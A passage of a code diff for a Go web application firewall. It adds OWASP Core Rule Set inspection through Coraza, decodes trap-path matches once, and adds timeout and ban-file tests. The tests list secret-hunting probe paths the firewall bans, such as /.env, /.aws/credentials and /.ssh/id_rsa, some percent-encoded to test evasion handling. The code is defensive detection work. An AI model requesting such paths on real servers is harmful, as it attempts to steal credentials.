+	t.Parallel()
+
+	srv := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, _ *http.Request) {
+			rq := &request{
+				h:   &handler{config: &config.Config{}},
+				out: &responseWriter{ResponseWriter: w},
+			}
+			app := &http.Response{
+				StatusCode: http.StatusOK,
+				Header:     http.Header{},
+				Body:       http.NoBody,
+			}
+
+			err := rq.modifyResponse(app)
+			if err != nil {
+				t.Errorf("modifyResponse: %v", err)
+			}
+
+			// The headers go out with this, the first part of the body,
+			// which Go's server would guess a Content-Type from.
+			_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
+		}))
+	t.Cleanup(srv.Close)
+
+	req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, srv.URL,
+		http.NoBody)
+	if err != nil {
+		t.Fatalf("new request: %v", err)
+	}
+
+	res, err := srv.Client().Do(req)
+	if err != nil {
+		t.Fatalf("get: %v", err)
+	}
+
+	_ = res.Body.Close()
+
+	if res.Header.Values("Content-Type") != nil {
+		t.Errorf("client got Content-Type %q, want none",
+			res.Header.Get("Content-Type"))
+	}
+}

internal/proxy/rules.go

@@ -10,13 +10,15 @@ import (
 )
 
 // trapPath reports whether the request asks for a path in
-// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding
-// and without the query, is one of them. Such a request is a clear sign of
-// attack, as a ban rule's match is: it bans the client's netblock, or in
-// observe mode raises the alert for the ban it would have made.
+// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
+// as sent or once percent-decoded, is one of them. Such a request is a
+// clear sign of attack, as a ban rule's match is: it bans the client's
+// netblock, or in observe mode raises the alert for the ban it would have
+// made. The ban's notes give the path as sent.
 func (rq *request) trapPath(now time.Time) bool {
 	path := rules.Path(rq.in)
-	if !slices.Contains(rq.h.config.TrapPaths, path) {
+	if !slices.Contains(rq.h.config.TrapPaths, path) &&
+		!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
 		return false
 	}
 

internal/proxy/timeouts_test.go

@@ -7,6 +7,7 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"strconv"
+	"strings"
 	"sync"
 	"sync/atomic"
 	"testing"
@@ -194,6 +195,151 @@ func sendLargeBody(t *testing.T, addr string) net.Conn {
 	return conn
 }
 
+func TestClientStopsSendingAfterTheAppHasAnswered(t *testing.T) {
+	t.Parallel()
+
+	// answeredAt is when the app answered, or nil if the bytes the client
+	// sent never reached it.
+	var answeredAt atomic.Pointer[time.Time]
+
+	// The app answers without reading the whole body, as an app does for
+	// a path it does not serve, and only once smallwebwaf waits for the
+	// rest of it: the app takes the bytes the client sent, and then waits
+	// half the timeout, far longer than smallwebwaf takes to go on to
+	// wait.
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, err := io.ReadFull(r.Body, make([]byte, len("the first bytes")))
+		if err != nil {
+			return
+		}
+
+		time.Sleep(shortTimeout / 2)
+		answeredAt.Store(new(time.Now()))
+		http.NotFound(w, r)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		clientRequestTimeout: shortTimeoutSetting,
+		metricsToken:         token,
+	})
+
+	start := time.Now()
+	got := readResponse(t, sendPartOfBody(t, addr))
+	wantTimedOut(t, start)
+
+	// Close returns once the app has finished with the request.
+	app.Close()
+
+	// The app's answer came before the time ran out, so the client is
+	// sent that answer, not smallwebwaf's 408. Only a hold-up of the test
+	// process can make it come later, and SPEC.md then asks for 408, as
+	// smallwebwaf was waiting for the client, or for 504 if the bytes the
+	// client sent had not reached the app.
+	at := answeredAt.Load()
+	want := http.StatusNotFound
+
+	switch {
+	case at == nil:
+		want = http.StatusGatewayTimeout
+	case at.Sub(start) >= shortTimeout:
+		want = http.StatusRequestTimeout
+	}
+
+	wantStatus(t, got, want)
+	wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
+	wantLimitHits(t, addr, clientRequestTimeout, 1)
+}
+
+func TestClientStopsSendingWithLittleOfItsBodyLeft(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// limit is the setting set to shortTimeout, which runs out, and
+		// clientTimeout what SWWAF_CLIENT_REQUEST_TIMEOUT is set to when it
+		// is not limit.
+		limit, clientTimeout string
+	}{
+		{
+			name:  "client request timeout",
+			limit: clientRequestTimeout,
+		},
+		{
+			name:          "upstream request timeout, client request timeout off",
+			limit:         upstreamRequestTimeout,
+			clientTimeout: off,
+		},
+		{
+			name:          "upstream request timeout, client request timeout longer",
+			limit:         upstreamRequestTimeout,
+			clientTimeout: longTimeoutSetting,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			// appClosed is closed once smallwebwaf has closed its
+			// connection to the app, which it does once it has the app's
+			// answer.
+			appClosed := make(chan struct{})
+
+			// The app answers without reading the rest of the body, and
+			// says it closes the connection, only once smallwebwaf waits
+			// for the client to send more: it takes the bytes the client
+			// sent, and then waits half the timeout, far longer than
+			// smallwebwaf takes to go on to wait.
+			app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+				conn, buf, err := http.NewResponseController(w).Hijack()
+				if err != nil {
+					return
+				}
+
+				_, _ = io.ReadFull(buf.Reader, make([]byte, len("the first bytes")))
+
+				time.Sleep(shortTimeout / 2)
+
+				_, _ = buf.WriteString("HTTP/1.1 404 Not Found\r\n" +
+					"Content-Length: 0\r\nConnection: close\r\n\r\n")
+				_ = buf.Flush()
+				_, _ = io.Copy(io.Discard, buf.Reader)
+				_ = conn.Close()
+
+				close(appClosed)
+			})
+
+			env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
+			if tc.clientTimeout != "" {
+				env[clientRequestTimeout] = tc.clientTimeout
+			}
+
+			addr, out := startProxy(t, app.URL, env)
+
+			// Less than 256 KiB of the body is left after the first bytes,
+			// little enough for Go's server in smallwebwaf to read the rest
+			// itself before it sends the app's answer.
+			start := time.Now()
+			conn := dial(t, addr)
+			send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: 200000\r\n\r\n"+
+				"the first bytes")
+
+			select {
+			case <-appClosed:
+			case <-time.After(waitLimit):
+				t.Fatal("smallwebwaf did not close its connection to the app")
+			}
+
+			// More of the body, which can no longer go to the app, and then
+			// nothing.
+			send(t, conn, strings.Repeat("x", 8<<10))
+
+			got := readResponse(t, conn)
+			wantTimedOut(t, start)
+			wantStatus(t, got, http.StatusNotFound)
+			wantLine(t, out.requestLine(t), http.StatusNotFound, requestlog.ActionTimedOut)
+			wantLimitHits(t, addr, tc.limit, 1)
+		})
+	}
+}
+
 func TestAppTooSlowToAnswer(t *testing.T) {
 	t.Parallel()
 

internal/proxy/trappaths_test.go

@@ -32,10 +32,9 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
 	})
 	start := clk.Now()
 
-	// Only the path itself, as the client sent it, is a trap path.
-	for _, path := range []string{
-		"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php",
-	} {
+	// Only the path itself, the whole of it in the same case, is a trap
+	// path.
+	for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
 		s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
 	}
 
@@ -84,6 +83,22 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
 	}
 }
 
+func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
+
+	// %2577 decodes once to %77, not to w.
+	s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
+	s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
+
+	// The ban's notes give the path as the client sent it.
+	got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
+		t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
+	}
+}
+
 func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
 	t.Parallel()
 

internal/ratelimit/ratelimit.go

@@ -124,11 +124,12 @@ type Offences struct {
 	// Limit is its requests that broke a rate limit, a byte limit or the
 	// error burst, Attack those that were a clear sign of attack, a match
 	// of a ban rule or a request for a trap path, RuleBlocked those a block
-	// rule refused, and TokenRefused those refused for a missing or wrong
-	// token.
+	// rule refused, WAFBlocked those the Core Rule Set refused, and
+	// TokenRefused those refused for a missing or wrong token.
 	Limit        int64 `json:"limit"`
 	Attack       int64 `json:"attack"`
 	RuleBlocked  int64 `json:"rule_blocked"`
+	WAFBlocked   int64 `json:"waf_blocked"`
 	TokenRefused int64 `json:"token_refused"`
 }
 
@@ -148,11 +149,13 @@ type Request struct {
 	ResponseBytes int64
 	// BrokeLimit is true for a request that broke a rate limit, a byte
 	// limit or the error burst, Attack for one that matched a ban rule or
-	// asked for a trap path, RuleBlocked for one a block rule refused, and
-	// TokenRefused for one refused for a missing or wrong token.
+	// asked for a trap path, RuleBlocked for one a block rule refused,
+	// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
+	// one refused for a missing or wrong token.
 	BrokeLimit   bool
 	Attack       bool
 	RuleBlocked  bool
+	WAFBlocked   bool
 	TokenRefused bool
 }
 
@@ -236,10 +239,10 @@ func (l *Limiter) CountBytes(
 }
 
 // CountRefusal counts a request from client at now that smallwebwaf
-// refused after a rule file match or for a missing or wrong token, and
-// reports whether the client's refusals in the minute that ends at now,
-// this one included, are more than threshold, which breaks the error
-// burst, and the hit.
+// refused after a rule file or Core Rule Set match or for a missing or
+// wrong token, and reports whether the client's refusals in the minute
+// that ends at now, this one included, are more than threshold, which
+// breaks the error burst, and the hit.
 func (l *Limiter) CountRefusal(
 	client netip.Prefix, now time.Time, threshold int64,
 ) (Hit, bool) {
@@ -304,6 +307,10 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 		h.Offences.RuleBlocked++
 	}
 
+	if r.WAFBlocked {
+		h.Offences.WAFBlocked++
+	}
+
 	if r.TokenRefused {
 		h.Offences.TokenRefused++
 	}

internal/requestlog/requestlog.go

@@ -36,6 +36,9 @@ const (
 	// ActionRuleBlocked is a request refused because it matched a block
 	// rule.
 	ActionRuleBlocked = "rule_blocked"
+	// ActionWAFBlocked is a request refused because the Core Rule Set
+	// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
+	ActionWAFBlocked = "waf_blocked"
 	// ActionDenied is a request refused because its client is in
 	// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
 	// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -123,8 +126,8 @@ type Line struct {
 	Action string `json:"action"`
 	// WouldAction is, in observe mode, the action enforce mode would have
 	// taken with a request it would have refused: ActionDenied,
-	// ActionBanned, ActionCountryDenied, ActionRateLimited or
-	// ActionRuleBlocked.
+	// ActionBanned, ActionCountryDenied, ActionRateLimited,
+	// ActionRuleBlocked or ActionWAFBlocked.
 	WouldAction string `json:"would_action,omitempty"`
 	// LimitPercent and LimitPercentSetting are, for a request the rate
 	// limits counted whose client a biased threshold gives a percentage of
@@ -142,6 +145,11 @@ type Line struct {
 	Counts ratelimit.Counts `json:"counts,omitzero"`
 	// RuleIDs are the ids of the rule file rules the request matched.
 	RuleIDs []string `json:"rule_ids,omitempty"`
+	// WAFRuleIDs are the ids of the Core Rule Set's rules the request
+	// matched, and WAFScore its anomaly score, nil for a request the Core
+	// Rule Set did not inspect.
+	WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
+	WAFScore   *int  `json:"waf_score,omitempty"`
 	// LimitHit is the window whose limit the request went over, named as
 	// Counts names its count: minute, hour or day for a rate limit, and
 	// minute_bytes, hour_bytes or day_bytes for a byte limit; or
@@ -159,13 +167,15 @@ type Line struct {
 	BanExpires string `json:"ban_expires,omitempty"`
 
 	// The timings, in milliseconds. DurationChecks is the time until the
-	// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
-	// and DurationUpstreamTotal run from when the request was handed to the
+	// checks were done, and DurationWAF the part of it the Core Rule Set
+	// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
+	// DurationUpstreamTotal run from when the request was handed to the
 	// app: until there was a connection to it, until the first byte of its
 	// answer arrived, and until the end. Each but DurationTotal is nil for
 	// a request that did not get that far.
 	DurationTotal             float64  `json:"duration_total"`
 	DurationChecks            *float64 `json:"duration_checks,omitempty"`
+	DurationWAF               *float64 `json:"duration_waf,omitempty"`
 	DurationUpstreamConnect   *float64 `json:"duration_upstream_connect,omitempty"`
 	DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
 	DurationUpstreamTotal     *float64 `json:"duration_upstream_total,omitempty"`

internal/rules/rules.go

@@ -50,6 +50,13 @@ const quietTime = 2 * time.Second
 // header:<Name>.
 const headerTarget = "header:"
 
+// pathTarget and uriTarget are the targets matched both as received and
+// once percent-decoded: the path, and the path and query together.
+const (
+	pathTarget = "path"
+	uriTarget  = "uri"
+)
+
 // escapeLength is the length of a percent escape, such as %2e.
 const escapeLength = 3
 
@@ -374,7 +381,7 @@ func parse(line string) (Rule, bool, error) {
 // isTarget reports whether target is one a rule may have.
 func isTarget(target string) bool {
 	switch target {
-	case "path", "query", "uri", "method", "host", "user_agent", "referer":
+	case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
 		return true
 	}
 
@@ -384,35 +391,38 @@ func isTarget(target string) bool {
 }
 
 // matches reports whether the rule's regex matches its target in r. For
-// uri it is matched against the path and query as received, and against
-// them once percent-decoded, so that an encoded probe cannot slip past.
+// path and uri it is matched against the target as received, and against
+// it once percent-decoded, so that an encoded probe cannot slip past.
 func (rule Rule) matches(r *http.Request) bool {
-	if rule.Target == "uri" {
-		uri := pathAndQuery(r)
+	target := value(rule.Target, r)
 
-		return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri))
+	if rule.Target == pathTarget || rule.Target == uriTarget {
+		return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
 	}
 
-	return rule.regex.MatchString(value(rule.Target, r))
+	return rule.regex.MatchString(target)
 }
 
 // Path returns r's path as the client sent it, before any decoding or
-// re-encoding, up to the first ?: what a path rule is matched against.
+// re-encoding, up to the first ?: what a path rule is matched against, as
+// it is and once percent-decoded.
 func Path(r *http.Request) string {
 	path, _, _ := strings.Cut(pathAndQuery(r), "?")
 
 	return path
 }
 
-// value returns what a rule with target, other than uri, is matched
-// against in r: the path, as Path gives it, and the query as the client
-// sent it, before any decoding or re-encoding, after the first ?, and a
-// header's values joined by ", ", as HTTP joins those of a header sent
-// more than once.
+// value returns what a rule with target is matched against in r: the
+// path, as Path gives it, the path and query, as pathAndQuery gives
+// them, and the query as the client sent it, before any decoding or
+// re-encoding, after the first ?, and a header's values joined by ", ",
+// as HTTP joins those of a header sent more than once.
 func value(target string, r *http.Request) string {
 	switch target {
-	case "path":
+	case pathTarget:
 		return Path(r)
+	case uriTarget:
+		return pathAndQuery(r)
 	case "query":
 		_, query, _ := strings.Cut(pathAndQuery(r), "?")
 
@@ -464,11 +474,11 @@ func header(r *http.Request, name string) string {
 	return strings.Join(r.Header.Values(name), ", ")
 }
 
-// decodeOnce returns s with each percent escape, such as %2e, replaced by
+// DecodeOnce returns s with each percent escape, such as %2e, replaced by
 // the byte it stands for. A % that is not followed by two hex digits is
 // left as it is, so that a malformed escape cannot keep the rest of s
 // from being decoded.
-func decodeOnce(s string) string {
+func DecodeOnce(s string) string {
 	var decoded strings.Builder
 
 	for i := 0; i < len(s); i++ {

internal/rules/rules_test.go

@@ -49,7 +49,9 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
 		want   bool
 	}{
 		{"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true},
-		{"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false},
+		{"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true},
+		{"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false},
+		{"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true},
 		{"path without the query", `path log ^/a$`, "/a?b=c", nil, true},
 		{"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true},
 		{"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true},
@@ -418,7 +420,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
 
 	// Probes sent by a browser, by the rule that refuses them.
 	for rule, targets := range map[string][]string{
-		"env-file":    {"/.env", "/.env.production", "/.ENV"},
+		"env-file":    {"/.env", "/.env.production", "/.ENV", "/%2eenv"},
 		"vcs-dir":     {"/.git/config", "/.git", "/.svn/entries"},
 		"secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"},
 		"secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"},

internal/state/state.go

@@ -61,6 +61,7 @@ var (
 	// errMissing is for an entry without a field it needs.
 	errMissing     = errors.New("has no")
 	errCause       = errors.New("is not limit, attack, admin or crowdsec")
+	errExpires     = errors.New("is not after its start")
 	errDestination = errors.New("is not webhook, slack or ntfy")
 	errScope       = errors.New("is not client, net, asn, total or watch")
 	errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -646,8 +647,10 @@ func (e BanEntry) ban() bans.Ban {
 // client, a start, from which the length of the netblock's next ban is
 // worked out, or an expires, which would make it permanent. A permanent
 // ban's expires is null, which Bans cannot tell from a missing one, so
-// each expires is read again as written. A cause other than limit,
-// attack, admin or crowdsec, most likely misspelt, is refused too.
+// each expires is read again as written. An expires not after the start
+// is refused too, since the netblock's next ban for a broken limit, three
+// times as long as this one, would then refuse nothing; and so is a cause
+// other than limit, attack, admin or crowdsec, most likely misspelt.
 func (f *bansFile) check(data []byte) error {
 	var written struct {
 		Bans []struct {
@@ -668,6 +671,8 @@ func (f *bansFile) check(data []byte) error {
 			return missing(i, "start")
 		case written.Bans[i].Expires == nil:
 			return missing(i, "expires")
+		case entry.Expires != nil && !entry.Expires.After(entry.Start):
+			return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
 		case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
 			entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
 			entry.Cause != bans.CauseCrowdSec:

internal/state/state_test.go

@@ -865,6 +865,21 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
 		`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
 }
 
+func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	// The first ban ends a second after its start; the second ends as it
+	// starts, or an hour before.
+	for _, expires := range []string{`"2026-10-06T00:00:00Z"`, `"2026-10-05T23:00:00Z"`} {
+		wantRefused(t, bansJSON, `{"version": 1, "bans": [`+
+			`{"netblock": "203.0.113.9/32", "start": "2026-10-06T00:00:00Z", `+
+			`"expires": "2026-10-06T00:00:01Z"}, `+
+			`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
+			`"expires": `+expires+`}]}`,
+			`: entry 2's expires is not after its start`)
+	}
+}
+
 func TestUnknownVersionStopsTheStart(t *testing.T) {
 	t.Parallel()
 

internal/waf/waf.go

@@ -0,0 +1,336 @@
+// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
+// method, the URL with its query and the headers of a request, and on its
+// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
+// makes to it, as "Attack detection" under "Configuration surface" in
+// SPEC.md describes them. It reads no response.
+//
+// smallwebwaf writes only to its state directory, so Coraza is built with
+// its no_fs_access tag, as the Dockerfile and script/build build it: of a
+// file in a multipart body, Coraza then counts the bytes instead of
+// writing them to the system's temporary directory.
+package waf
+
+import (
+	"fmt"
+	"io"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+
+	coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
+	"github.com/corazawaf/coraza/v3"
+	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
+	"github.com/corazawaf/coraza/v3/types"
+)
+
+// directives are the Core Rule Set as smallwebwaf runs it, with the
+// paranoia level for %d, and bodyDirectives for %s while
+// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
+// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
+// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
+// switches one off. Coraza joins a line ending in \ to the next, without
+// the spaces at the start of the next.
+const directives = `
+# The engine only detects. smallwebwaf compares the request's anomaly
+# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
+# alike. It reads no body, unless bodyDirectives switch that on.
+SecRuleEngine DetectionOnly
+SecRequestBodyAccess Off
+SecResponseBodyAccess Off
+
+Include @crs-setup.conf.example
+
+SecAction "id:900000,phase:1,pass,nolog,\
+    setvar:tx.blocking_paranoia_level=%d"
+
+# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
+# POST and OPTIONS.
+SecAction "id:900200,phase:1,pass,nolog,\
+    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
+
+# The second: Expect and Content-Encoding are taken off the Core Rule Set's
+# list of the headers it refuses. Content-Encoding goes back on it for a
+# body the Core Rule Set reads (900260 in bodyDirectives).
+SecAction "id:900250,phase:1,pass,nolog,\
+    setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
+    /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
+    /x-middleware-subrequest/'"
+%s
+# Coraza keeps the first 1000 query parameters of a request, and the first
+# 1000 fields of a form data or JSON body, and drops the rest, which no
+# rule then reads, so a request with more adds 5 to the score, as a rule
+# the Core Rule Set rates critical does. Coraza's recommended
+# configuration refuses such a request in its rules 200004 and 200005.
+# This rule runs once the body is read, and before the Core Rule Set adds
+# up the score in the same phase.
+SecArgumentsLimit 1000
+SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
+    severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
+
+# The sixth: only the rules for requests are loaded, and no response is
+# inspected.
+Include @owasp_crs/REQUEST-*.conf
+
+# The third: redirect_uri is not checked for a URL naming an IP address or
+# localhost. Coraza matches a parameter name here, and in the fourth,
+# without regard to case. ARGS holds the fields of a form data or multipart
+# body Coraza reads as well as the query parameters, so a field of one of
+# these names is left out too.
+SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
+SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
+
+# The fourth: the query parameters in which gitea sends names within a
+# repository or its own records, or a page of its own site, are not
+# checked against the lists of system files, shell paths and command
+# names. Coraza takes one rule id per directive.
+SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+
+# The fifth, for Referer: it is not checked for a Unix command without
+# arguments, or for Java starting a process. The cookies are left out in
+# Inspect.
+SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
+SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
+`
+
+// bodyDirectives have the Core Rule Set read the part of a request body
+// Inspect gives it, which is at most one byte longer than the limit, up to
+// the limit, %d bytes, and read JSON and XML as Coraza's recommended
+// configuration has it in its rules 200000, 200001 and 200006, with
+// text/json, and any application or text type ending in +xml or +json,
+// besides; form data and multipart Coraza knows by itself. %% stands for
+// a % Coraza reads.
+const bodyDirectives = `
+SecRequestBodyAccess On
+SecRequestBodyLimit %d
+SecRequestBodyLimitAction ProcessPartial
+
+SecRule REQUEST_HEADERS:Content-Type \
+    "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
+    "id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
+SecRule REQUEST_HEADERS:Content-Type \
+    "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
+    "id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
+
+# The rest of the second change: Content-Encoding is refused again on a
+# body of a kind the Core Rule Set reads, since a compressed body cannot be
+# inspected.
+SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
+    "id:900260,phase:1,pass,nolog,\
+    setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
+    /content-encoding/'"
+
+# A body Coraza fails to parse (900440), and a multipart body that fails
+# its strict checks (900450), each add 5 to the score, as a rule the Core
+# Rule Set rates critical does: no rule reads what comes after the fault,
+# which the app may still read. Coraza's recommended configuration refuses
+# them in its rules 200002 and 200003. A multipart body the limit cuts
+# before the colon of a part's header line, or between the carriage return
+# and the line feed that end a part's header line or the empty line after
+# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
+# malformed header. Coraza parses any form data body.
+SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
+    setvar:'tx.inbound_anomaly_score_pl1=+5'"
+SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
+    severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
+`
+
+// cookiesNotRead are the cookies the Core Rule Set reads a request
+// without, the rest of the fifth change.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
+
+// Params are what New needs.
+type Params struct {
+	// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
+	ParanoiaLevel int
+	// DisabledRules are the ids of the rules switched off
+	// (SWWAF_WAF_DISABLED_RULES).
+	DisabledRules []int
+	// BodyLimit is the most of a request body the Core Rule Set reads
+	// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
+	BodyLimit int64
+}
+
+// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
+// for concurrent use.
+type CoreRuleSet struct {
+	waf       coraza.WAF
+	bodyLimit int64
+}
+
+// New returns the Core Rule Set with the six changes, at params'
+// paranoia level, without the rules it switches off, and reading request
+// bodies up to params' limit.
+func New(params Params) (*CoreRuleSet, error) {
+	body := ""
+	if params.BodyLimit > 0 {
+		body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
+	}
+
+	text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
+
+	if len(params.DisabledRules) > 0 {
+		ids := make([]string, len(params.DisabledRules))
+		for i, id := range params.DisabledRules {
+			ids[i] = strconv.Itoa(id)
+		}
+
+		text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
+	}
+
+	waf, err := coraza.NewWAF(coraza.NewWAFConfig().
+		WithRootFS(coreruleset.FS).
+		WithDirectives(text))
+	if err != nil {
+		return nil, fmt.Errorf("load the Core Rule Set: %w", err)
+	}
+
+	return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
+}
+
+// Result is what the Core Rule Set found in a request.
+type Result struct {
+	// RuleIDs are the ids of the rules that matched, in the order they
+	// ran.
+	RuleIDs []int
+	// Score is the request's anomaly score: what those rules add up to.
+	Score int
+}
+
+// Inspect runs the Core Rule Set on r, a request from client: on its
+// method, its URL with the query, and its headers, the Cookie header
+// without the cookies in cookiesNotRead, and on body, r's body as the
+// caller has it, as readBody reads it. It returns what it found, what it
+// read of body, which the app is still to be sent, and the error that
+// ended the reading early, if one did.
+func (c *CoreRuleSet) Inspect(
+	r *http.Request, client netip.Addr, body io.Reader,
+) (Result, []byte, error) {
+	tx := c.waf.NewTransaction()
+	// Closing would remove the files Coraza wrote, and it writes none.
+	defer func() { _ = tx.Close() }()
+
+	tx.ProcessConnection(client.String(), 0, "", 0)
+	tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
+
+	for name, values := range r.Header {
+		for _, value := range values {
+			if name == "Cookie" {
+				value = withoutCookiesNotRead(value)
+				if value == "" {
+					continue // it held those cookies alone
+				}
+			}
+
+			tx.AddRequestHeader(name, value)
+		}
+	}
+
+	// Go's server takes these two out of the headers.
+	tx.AddRequestHeader("Host", r.Host)
+
+	for _, encoding := range r.TransferEncoding {
+		tx.AddRequestHeader("Transfer-Encoding", encoding)
+	}
+
+	tx.ProcessRequestHeaders()
+
+	read, err := c.readBody(tx, body)
+
+	// This reads the body in memory and runs the rest of the rules, and
+	// cannot fail.
+	_, _ = tx.ProcessRequestBody()
+
+	var ids []int
+
+	for _, matched := range tx.MatchedRules() {
+		// The rules that look for attacks have a severity; the others set
+		// the Core Rule Set up and add up the score.
+		rule := matched.Rule()
+		if rule.Severity() != types.RuleSeverityUnset {
+			ids = append(ids, rule.ID())
+		}
+	}
+
+	return Result{RuleIDs: ids, Score: score(tx)}, read, err
+}
+
+// readBody reads body, the body of the request in tx, which has run on
+// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
+// of a kind the Core Rule Set reads: form data and multipart, of which it
+// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
+// when they are no longer than that, since they cannot be read in part.
+// readBody reads one byte past the limit, to tell which they are, gives
